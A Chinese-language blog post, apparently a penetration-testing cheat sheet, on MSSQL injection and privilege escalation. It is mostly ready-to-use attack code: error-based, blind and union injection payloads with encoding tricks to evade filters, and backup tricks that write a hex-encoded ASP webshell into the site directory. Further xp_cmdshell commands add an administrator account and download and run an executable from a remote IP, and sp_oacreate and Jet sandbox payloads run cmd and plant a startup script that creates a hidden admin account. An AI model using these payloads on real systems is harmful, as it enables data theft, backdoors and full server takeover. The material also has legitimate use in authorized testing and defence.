目录

MSSQL 注入与提权方法整理

MSSQL 注入与提权方法整理

1 SQL Server 相关基础简介

1.1 默认库介绍

  • master - 用于记录所有 SQL Server 系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model - SQL Server 为用户数据库提供的样板,新的用户数据库都以 model 数据库为基础
  • msdb - 由 Enterprise Manager 和 Agent 使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
  • tempdb - 它为临时表和其他临时工作提供了一个存储区。
信息
这里我们经常要打交道的库也就是 master,其中储存了所有数据库名与存储过程。类比于 MySQL 中的 information_schema 元数据库。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120143745.png-water_print

以 master 库为例可以看到上面几个类别,其中视图表 master.dbo.sysdatabases 储存所有数据库名,其他数据库的视图则储存它本库的表名与列名。每一个库的视图表都有 syscolumns 存储着所有的字段,可编程性储存着我们的函数。

1
select name from master.dbo.sysdatabases;

查询所有数据库的名称。

1.2 字段介绍

1
select top 1 name,xtype from sysobjects;

xtype 可以是下列对象类型中的一种:

  • C = CHECK 约束
  • D = 默认值或 DEFAULT 约束
  • F = FOREIGN KEY 约束
  • L = 日志
  • FN = 标量函数
  • IF = 内嵌表函数
  • P = 存储过程
  • PK = PRIMARY KEY 约束(类型是 K)
  • RF = 复制筛选存储过程
  • S = 系统表
  • TF = 表函数
  • TR = 触发器
  • U = 用户表
  • UQ = UNIQUE 约束(类型是 K)
  • V = 视图
  • X = 扩展存储过程

2 SQL Server 信息收集

2.1 权限判断

SQL Server 内部按作用范围来分有三大主体:

  • Windows 级别主体
  • 服务器级别主体
  • 数据库级别主体

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210121092915.png-water_print

2.1.1 服务器级别

在微软的官方文档中可以看到, IS_SRVROLEMEMBER ( 'role' [ , 'login' ] ) ,函数 role 的有效值是用户定义的服务器角色和以下固定服务器角色:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120145938.png-water_print

返回类型:

返回值 描述
0 login 不是 role 的成员。
1 login 是 role 的成员。
NULL role 或 login 无效,或者没有查看角色成员身份的权限。

最终我们可以构造语句:

1
2
3
4
5
6
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))

在 SQLMap 中使用 –is-dba 命令可以判断是否为管理员权限

1
select * from admin where id =1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))

2.1.2 数据库级别的角色

select IS_MEMBER('db_owner')

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120150401.png-water_print

2.2 基本信息

1
2
3
4
@@version // 数据库版本
user  //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句

2.3 判断站库分离

1
select * from info where id='1' and host_name()=@@servername;--'

最简单的方法,当然你可以调用 xp_cmdshell 就可以通过 cmd 来判断。

通过简单的判断数据库版本,当前用户权限,我们就可以想下一步怎么去做,比如 2005 的 xp_cmdshell 你要知道他的权限一般是 system 而 2008 他是 ntauthority\network service

3 SQL Server 语法

3.1 注释符号

1
2
3
/*
-- 
;%00

3.2 空白字符

1
2
3
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

/**/

3.3 运算符号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
+   加法运算
-   减法运算
*   乘法运算
/   除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去
%   取模运算,返回两数相除后的余数

&   位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为 1 时,结果中的位才被设置为 1,否则,结果中的位被设置为 0
|   位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为 1 时,结果的位就被设置为 1,只有当两个位的值都为 0 时,结果中的位才被设置为 0
^   位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为 1 时,结果中的位就被设置为 1;只有当两个位的值都为 0 或 1 时,结果中的位才被设置为0

=   等于 
<>  不等于
>   大于  
!=  不等于
<   小于  
!<  不小于
>=  大于或等于   
!>  不大于
<=  小于或等于

ALL 如果一组的比较都为 true,则比较结果为 true
AND 如果两个布尔表达式都为 true,则结果为 true;如果其中一个表达式为 false,则结果为 false
ANY 如果一组的比较中任何一个为 true,则结果为 true
BETWEEN 如果操作数在某个范围之内,那么结果为 true
EXISTS  如果子查询中包含了一些行,那么结果为 true
IN  如果操作数等于表达式列表中的一个,那么结果为 true
LIKE    如果操作数与某种模式相匹配,那么结果为 true
NOT 对任何其他布尔运算符的结果值取反
OR  如果两个布尔表达式中的任何一个为 true,那么结果为 true
SOME    如果在一组比较中,有些比较为 true,那么结果为 true

3.4 语法定义符号

1
2
3
4
5
6
7
8
9
< > 尖括号,用于分隔字符串,字符串为语法元素的名称,SQL 语言的非终结符。

::= 定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。 被定义的元素位于操作符的左边,规则定义位于操作符的右边。

[ ] 方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。

{ } 花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。

() 括号是分组运算符

4 MSSQL 注入

4.1 显错注入

4.1.1 原理

MSSQL 报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换

1
2
3
4
5
select * from admin where id =1 and (select user)>0--

select * from admin where id =1|(select user)--

在将 nvarchar  'dbo' 转换成数据类型 int 时失败。

显示转换也就是利用函数来转换,我们经常用到的两个函数就是 cast 和 convert

1
2
3
select * from admin where id =1 (select CAST(USER as int))

select * from admin where id =1 (select convert(int,user))

判断当前数据库:

id=1'and db_name()>0;--

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120152616.png-water_print

爆表名:

id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120152643.png-water_print

爆列名:

id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'admin') and name<>'id');--

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120152732.png-water_print

爆数据:

id=1' and 1=(select top 1 username from admin);--

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120152807.png-water_print

4.1.2 其它用法

当然查询数据库的所有表还可以使用 INFORMATION_SCHEMA.TABLES

1
2
3
4
5
6
select * from INFORMATION_SCHEMA.TABLES

select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'

id=1 and 1=(select top 1 table_name from information_schema.tables
);--

要判断当前表名和列名,也可以使用 having 1=1group by

id=1 having 1=1

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120153503.png-water_print

爆出当前表和字段:

id=1 group by info.id,info.name having 1=1

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120153547.png-water_print

4.1.3 简单注入绕过

这里引入一个 declare 函数,他是 mssql 声明局部变量的函数,我们经常用它来绕过 waf 对一些关键词的拦截

1
select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

declare 定义变量,set 设置变量值,exec 执行变量

变量的值是支持 hex 和 ascii 码的,当过滤引号我们就可以这么用把我们的语句编码一下

1
2
3
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--

select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

4.2 盲注

其实跟 mysql 大同小异无非就是分割字符串比较,但是 mssql 的盲注套路确实没那么多。

4.2.1 布尔盲注

1
id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

4.2.2 时间盲注

1
2
3
id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--

4.2 联合注入

mssql 联合注入我们一般不使用数字占位,而是 null,因为使用数字占位可能会发生隐式转换

id=1 union select null,name,pass from info

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120161528.png-water_print

也可以利用如下方法:

id=1 SELECT 1 UNION (select CAST(USER as int))

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120161612.png-water_print

5 MSSQL 提权

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120182207.png-water_print

5.1 备份拿 shell

备份拿 shell 也就涉及到了权限的问题,SA 权限不用说没有降权的话基本能做任何事情了,它数据库权限是 db_owner,当然其他用户如果也拥有 db_owner 基本也可以通过备份拿下 shell,但是在设置目录权限后就不行了。

5.1.1 路径的寻找

需要路径的我们一般有几个思路:

  1. 报错寻找
  2. 字典
  3. 旁站信息收集
  4. 调用储存过程来搜索
  5. 读配置文件

这里我们着重讨论一下储存过程也就是这些函数来找我们的网站根目录。一般我们可以用 xp_cmdshellxp_dirtreexp_dirtreexp_subdirs

1
2
3
execute master..xp_dirtree 'c:'       //列出所有 c:\ 文件和目录,子目录 
execute master..xp_dirtree 'c:',1     //只列 c:\ 文件夹 
execute master..xp_dirtree 'c:',1,1   // c:\ 文件夹加文件 

通过执行 xp_dirtree 返回我们传入的参数,如果没有回显的话,可以这样创建一个临时的表插入

1
2
3
id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);

id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1

xp_cmdshell 寻找路径:

这个 xp_cmdshell 找起来更加方便我们调用cmd的命令去搜索,比如我的web目录有个1.aspx

1
2
C:\Users\Gee>for /r c:\ %i in (1*.aspx) do @echo %i
c:\www\1.aspx

所以只需要建立一个表,存在一个 char 字段就可以了。

1
2
3
id=1;CREATE TABLE cmdtmp (dir varchar(8000));

id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
信息

SQL Server 阻止了对组件 xp_cmdshell 的过程 sys.xp_cmdshell 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

如果遇到 xp_cmdshell 不能调用,报错,可用如下命令恢复:

1
2
3
4
5
// 允许修改高级参数 
;EXEC sp_configure 'show advanced options',1;RECONFIGURE;

// 打开xp_cmdshell 扩展
;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

5.1.2 差异备份

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 完整备份一次(保存位置可以改)
backup database 库名 to disk = 'c:\bak.bak';--

create table [dbo].[test] ([cmd] [image]);

// 创建表 cmd 并插入一句话木马
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

// 进行差异备份
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

差异备份有多种情况可能不成功,一般就是目录权限的问题,第一次备份的目录是否可能没有权限,第二次备份到网站目录是否有权限,所以一般不要直接备份到 c 盘根目录

当过滤了特殊的字符比如单引号,或者路径符号都可以使用前面提到的定义局部变量来执行。

5.1.3 LOG 备份

LOG 备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是 LOG 备份

LOG 备份的要求是目标机器的数据库备份过,而且选择恢复模式得是完整模式,但是使用 log 备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

1
2
3
4
5
6
7
8
9
alter database 库名 set RECOVERY FULL 

create table cmd (a image) 

backup log 库名 to disk = 'c:\xxx' with init 

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 

backup log 库名 to disk = 'c:\xxx\2.asp'

相对于差异备份,log 备份的好处就是备份出来的 webshell 的文件大小非常的小。

5.2 xp_cmdshell

  • 测试 xp_cmdshell 是否可以执行

    • exec master..xp_cmdshell 'ver'
  • 添加管理员用户

    • exec master.dbo.xp_cmdshell 'net user q 123456q /add'
    • exec master.dbo.xp_cmdshell 'net localgroup administrators q /add'
  • 远程下载文件,上马

1
2
3
exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe';

exec master.dbo.xp_cmdshell 'cd c:\www & file.exe';

5.3 sp_oacreate

当 xp_cmdshell 被删除可以使用这个来提权试试,恢复 sp_oacreate

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行 cmd。

有以下几种利用思路:

  • 调用 cmd 来执行命令
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
wscript.shell 执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'



Shell.Application 执行命令

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
  • 写入启动项
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

5.4 沙盒提权

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

使用场景:无法执行命令时,xp_regwrite 可用(使用条件)

  • 开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

  • 利用 jet.oledb 执行系统命令添加用户

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user q 123456q /add")')

  • 将 q 用户添加至管理员组

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators q /add")')

5.5 利用 mssql 模拟登录提权

开发者有时为了满足某种需求,允许其他登录用户模拟高权限的用户,对于开发来说,一个再简单不过的功能。虽然严格意义上这不算个漏洞,但是这种配置不当一般可以用来提权。

5.5.1 赋予用户 MyUser1 权限来模拟 MyUser2, MyUser3,及sa

1
2
3
4
5
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

5.5.2 查找可以模拟登录的用户

默认情况下,系统管理员可以模拟任何人,但是正常登录必须分配权限来模拟特定的用户,使用 MyUser1 用户登录,打开新建查询,执行下面语句查询那些用户可以用来模拟登录

1
2
3
4
5
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

这里我们可以看到 MyUser1 用户可以模拟登录 sa, MyUser2, MyUser2 用户,接下来就是模拟登录 sa 来获取 sysadmin 权限了

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120195250.png-water_print

5.5.3 模拟 SQL Server 用户登陆

1
2
3
4
5
6
7
8
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 模拟sa登录
EXECUTE AS LOGIN = 'sa'
-- 验证是否为sysadmin权限
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210120195349.png-water_print

5.3.4 PS 工具化

当然这个也可以用 powershell 一键实现:脚本地址

6 CLR 提权

通过回顾常见的手法,可以看出,在目标系统该做安全防护都做了的情况下,除了备份拿 shell 之外,其它的操作均需要 sysadmin 服务器角色。

对于部分常见手法的防护,网上提出了一些极端的修复方法,比如将存储过程和其相关的 DLL 文件删除,其它功能可能删除,但是删除 CLR 可能性应该不大,且不论禁用或者删除 .net 之后 SQL Server 还能不能正常运行,SQL CLR 功能强大,开发也可能使用它开发正常功能,删除无异于自废武功。

6.1 SQL Server CLR 介绍

公共语言运行库(Common Language Runtime,CLR)是整个 .NET 框架的核心,它为 .NET 应用程序提供了一个托管的代码执行环境。它实际上是驻留在内存里的一段代理代码, 负责应用程序在整个执行期间的代码管理工作,比较典型的有:内存管理、线程管理、安全管理、远程管理、即使编译、代码强制安全类检查等,这些都可以成为 .NET 框架的生命线。

通俗来讲 CLR 就是 .NET 程序运行的基础。

SQL Server 中的 CLR

SQL CLR 是 SQL Server2005 出现的新功能,它将 .NET Framework 中的 CLR 服务注入到 SQL Server 中,让 SQL Server 的部分数据库对象可以使用 .NET Framework 的编程语言进行开发(目前只支持VB.NET和C#),包括存储过程、用户自定义函数、触发器、 用户自定义类型以及用户自定义聚合函数等功能。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210121100247.png-water_print

SQL Server 的 CLR 让我们可以用 C# 或者 VB 开发存储过程、用户自定义函数、触发器、用户自定义类型以及用户自定义聚合函数。但是我们最容易利用的是存储过程和触发器。触发器有 DDL 触发器和 DML 触发器两种,DDL 触发器对应的语句语句主要以 CREATE、ALTER 和 DROP 开头,DML 触发器对应的语句主要是 INSERT、UPDATE 或 DELETE,相比而言 DML 触发器更可控。

参考: